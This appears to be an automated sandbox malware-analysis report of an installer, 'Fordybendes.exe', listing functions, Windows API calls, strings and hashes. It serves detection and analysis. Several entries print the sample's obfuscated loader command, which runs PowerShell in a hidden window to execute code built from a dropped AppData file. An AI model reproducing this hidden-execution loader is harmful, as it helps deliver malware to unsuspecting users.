String ID: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"$C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre$C:\Users\user\Pictures\Vielsesring253
API String ID: 1941528284-3976747133
Opcode ID: 97f8a186605f93049767f2658230aac1478c04fcb5d232af0e8365a185111461
Instruction ID: d68083d7be573bf7b424bf06ea3a531533a5a02c0da8b97de7743fd59a514b88
Opcode Fuzzy Hash: 97f8a186605f93049767f2658230aac1478c04fcb5d232af0e8365a185111461
Instruction Fuzzy Hash: E241E471A04515BACF20BBB5CC45DAF3669EF41329B20823FF522F10E1D67C8A519AAD

Function 0040539B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000,?), ref: 004053D4
lstrlenA.KERNEL32(00403298,Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000), ref: 004053E4
lstrcatA.KERNEL32(Completed,00403298,00403298,Completed,00000000,004178D8,00000000), ref: 004053F7
SetWindowTextA.USER32(Completed,Completed), ref: 00405409
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040542F
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405449
SendMessageA.USER32(?,00001013,?,00000000), ref: 00405457

Strings

Completed, xrefs: 004053BB, 004053CD, 004053D3, 004053F6, 00405402

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: b7e689ba3568b45e661cc71a8209ba49a94a919dc578635e08100e76a75d270e
Instruction ID: 768db45cab79a8a24b618bf1c75d7959fc692146c09f0b07473e3771a574ba6b
Opcode Fuzzy Hash: b7e689ba3568b45e661cc71a8209ba49a94a919dc578635e08100e76a75d270e
Instruction Fuzzy Hash: E8218E71A00118BBCB11AFA5DD80ADFBFB9EF04354F14807AF944A6291C7798E908F98

Function 00406611 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406628
wsprintfA.USER32 ref: 00406661
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406675

Strings

%s%s.dll, xrefs: 0040665B
UXTHEME, xrefs: 0040661A
\, xrefs: 00406639

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction ID: 6072706d14593a5edd0f204686c44205f434de148f4e6431a115c2c8130293b5
Opcode Fuzzy Hash: bb0c7447bffed25a47ff2517fd87417c43c35d72d0d658bdc18f354cf5cb2530
Instruction Fuzzy Hash: 68F0FC7054020967DF1497A4DD0DFEB365CAB08308F14047AA547E10D1EAB9D4258B59

Function 00403168 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004031C6
GetTickCount.KERNEL32 ref: 00403247
MulDiv.KERNEL32(7FFFFFFF,00000064,00000008), ref: 00403274
wsprintfA.USER32 ref: 00403284

Strings

... %d%%, xrefs: 0040327E

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: c1757d8d69ce9914fad8efa2c5f470e5bd93be339a0fd742eb9dfc59a3915d89
Instruction ID: 81f605a2bbbb9019fe825c6e2bdb03f78ec8627a391956c637487de55b2f7a76
Opcode Fuzzy Hash: c1757d8d69ce9914fad8efa2c5f470e5bd93be339a0fd742eb9dfc59a3915d89
Instruction Fuzzy Hash: FB516D71900219ABDB10DF66D94469E7FACEB04766F14817FFC40B72D0CB789A41CBA9

Function 00405E19 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E2D
GetTempFileNameA.KERNELBASE(0000000C,?,00000000,?,?,004033A0,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040367F,?,00000008), ref: 00405E47

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E1C
nsa, xrefs: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1968954121
Opcode ID: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction ID: 14d078e11d0d982709f1474591405d9e4ec12dd569452f15ee41c9613e6b5943
Opcode Fuzzy Hash: 785ee4e59b25deabe338fa9c65985dff7b7c4930a860df7800de2eab11a71ed7
Instruction Fuzzy Hash: B9F0A7363482047BDB109F55EC04B9B7B9CDF91B50F10C03BFA84DB180D6B1DA558798

Function 004015E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405C82: CharNextA.USER32(?,?,00421D28,0000000C,00405CEE,00421D28,00421D28,761336B0,?,C:\Users\user\AppData\Local\Temp\,00405A39,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405C90
Part of subcall function 00405C82: CharNextA.USER32(00000000), ref: 00405C95
Part of subcall function 00405C82: CharNextA.USER32(00000000), ref: 00405CA9

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401632

Part of subcall function 00405861: CreateDirectoryA.KERNELBASE(00426400,?), ref: 004058A3

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre,00000000,00000000,000000F0), ref: 00401661

Strings

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre, xrefs: 00401656

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre
API String ID: 1892508949-3186517655
Opcode ID: 443f6028799ede80c1d565b259d99f4958332e21d405f8a9fe01ad20458d3935
Instruction ID: b9d7f2a528ebbf0421696501bc99c237113afa9c2e1b2d1ef7ca51e36b730b78
Opcode Fuzzy Hash: 443f6028799ede80c1d565b259d99f4958332e21d405f8a9fe01ad20458d3935
Instruction Fuzzy Hash: FA1101329082509FDF307B754C40A7F26B0DA56724B28493FE891B22E2C63D49439A6F

Function 00406DA8 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e8e2f3ce7e58861e3a9609dfd3be968039f25556014777c8211dd210a242af
Instruction ID: 1ba8b0946190cfca9a38bcf883684fa235a04e0036d55360606e0058eb2854ca
Opcode Fuzzy Hash: 52e8e2f3ce7e58861e3a9609dfd3be968039f25556014777c8211dd210a242af
Instruction Fuzzy Hash: 1FA13471E04229CBDF28CFA8C8446ADBBB1FF44305F14856ED856BB281C7786A86DF45

Function 00406FA9 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c677c486f466f484dfd1c99a1f2a245873954f2e4b245026a24d949c7f6f3191
Instruction ID: 4cec582b37938f4b46738944cdb824cb06d71243b33ce538cb970dd9eb120cbf
Opcode Fuzzy Hash: c677c486f466f484dfd1c99a1f2a245873954f2e4b245026a24d949c7f6f3191
Instruction Fuzzy Hash: 77912171D04229CBDF28CF98C8547ADBBB1FF44305F15816AD852BB281C778AA86DF45

Function 00406CBF Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7017ffa2fb89c7c88e3826070b7eff1c0c395dfa799b7d2f8b26d373e5a7aac
Instruction ID: c994caec5b11b43cd8bfb229e37972b73370650d0605b95137bc3c7ba8e8cbd0
Opcode Fuzzy Hash: f7017ffa2fb89c7c88e3826070b7eff1c0c395dfa799b7d2f8b26d373e5a7aac
Instruction Fuzzy Hash: 5B815671D04228CFDF24CFA8C844BADBBB1FB44305F25816AD456BB281C7789A86DF55

Function 004067C4 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467ea6f109ebfe7df444445d5d68d10c0908700de305c557aa58fc4ba5bc9dd0
Instruction ID: 83ed19ad7220401b24cbb632890786383754a2eaa69b063f1d72ccfd87ba6d35
Opcode Fuzzy Hash: 467ea6f109ebfe7df444445d5d68d10c0908700de305c557aa58fc4ba5bc9dd0
Instruction Fuzzy Hash: 4D817671D04229DBDF24CFA8C844BADBBB1FB44305F20816AD856BB2C1C7786A86DF45

Function 00406C12 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1e72a8c2f3d05c6c1e0742ed39dda9758dd1b9f9ad80f841a113e9c28009993
Instruction ID: 485452d7c446576a821aa39b035f5fb1ba281567f1f6404756a0da2d8a4c3cb6
Opcode Fuzzy Hash: a1e72a8c2f3d05c6c1e0742ed39dda9758dd1b9f9ad80f841a113e9c28009993
Instruction Fuzzy Hash: BF714471D04229CBDF28CFA8C844BADBBB1FB44305F15806AD856BB281C778A986DF55

Function 00406D30 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0867957d813e90f65207f296e55faaee27809d74634d9a704723f8ef7fa43b30
Instruction ID: 4ded8c1d1e2e3999b6954fd3fb668038a5be2c4f66e61b0ccb89f2d81000a323
Opcode Fuzzy Hash: 0867957d813e90f65207f296e55faaee27809d74634d9a704723f8ef7fa43b30
Instruction Fuzzy Hash: D7715571D04229CBDF28CF98C844BADBBB1FF44305F15816AD852BB281C7786986DF55

Function 00406C7C Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b371a7cbe9b6f476bd2b883a2a6f2b197d66d56ae2e6550a7d6a6a8abe04e45
Instruction ID: 6b0722097d85d0f98ba7dadc264a868d2289917d2162726ec4fb7beb4db67966
Opcode Fuzzy Hash: 6b371a7cbe9b6f476bd2b883a2a6f2b197d66d56ae2e6550a7d6a6a8abe04e45
Instruction Fuzzy Hash: F9716571D04229CBDF28CF98C844BADBBB1FF44305F15806AD852BB281C778AA86DF45

Function 00401BAC Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C1B
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401C2D

Strings

"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)", xrefs: 00401BD3, 00401BD9, 00401BF3

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Global$AllocFree
String ID: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)"
API String ID: 3394109436-203958394
Opcode ID: 65c54a5cfe401e18ed1108d4b3fc9171e827012d084776b764b36b78ce1960b8
Instruction ID: 7cc70c40f421edf6522644ccb956ba00ea718e3585232f5ec85d51c9bef40d0d
Opcode Fuzzy Hash: 65c54a5cfe401e18ed1108d4b3fc9171e827012d084776b764b36b78ce1960b8
Instruction Fuzzy Hash: 072181B2600104ABDB20FBA48E84E5F73A9EB44318721453BF602B32D1DB7C98129B5D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c84be941dc6a1d7a96362bea620c540ea161ebf3f36d68bcfe60af822e705706
Instruction ID: 96616b7a1d8761cd4e25acfd582333427895197751797c173d65a169d5ce1978
Opcode Fuzzy Hash: c84be941dc6a1d7a96362bea620c540ea161ebf3f36d68bcfe60af822e705706
Instruction Fuzzy Hash: AE01D1317242109BE7295B389D05B2A3AA8E710355F10823AB855F65F1D678DC028B4C

Function 0040546D Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040547D

Part of subcall function 00404343: SendMessageA.USER32(00010488,00000000,00000000,00000000), ref: 00404355

CoUninitialize.COMBASE(00000404,00000000,?,"C:\Users\user\Desktop\Fordybendes.exe",0000000A,0000000C), ref: 004054C9

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 66f1e68da29a63867931bd6cf6bb10af484cbc9f4afed5aef43809ba961fc7d6
Instruction ID: 17bfeed1c20442712d06b0c22687c6296d35eb837009ee60aee776cbd8caa19f
Opcode Fuzzy Hash: 66f1e68da29a63867931bd6cf6bb10af484cbc9f4afed5aef43809ba961fc7d6
Instruction Fuzzy Hash: 96F090767016109EE61197A4AD01BA776A0EBD4302F05443AEF84A32E1D77948828A6C

Function 00405861 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(00426400,?), ref: 004058A3
GetLastError.KERNEL32 ref: 004058B1

Memory Dump Source

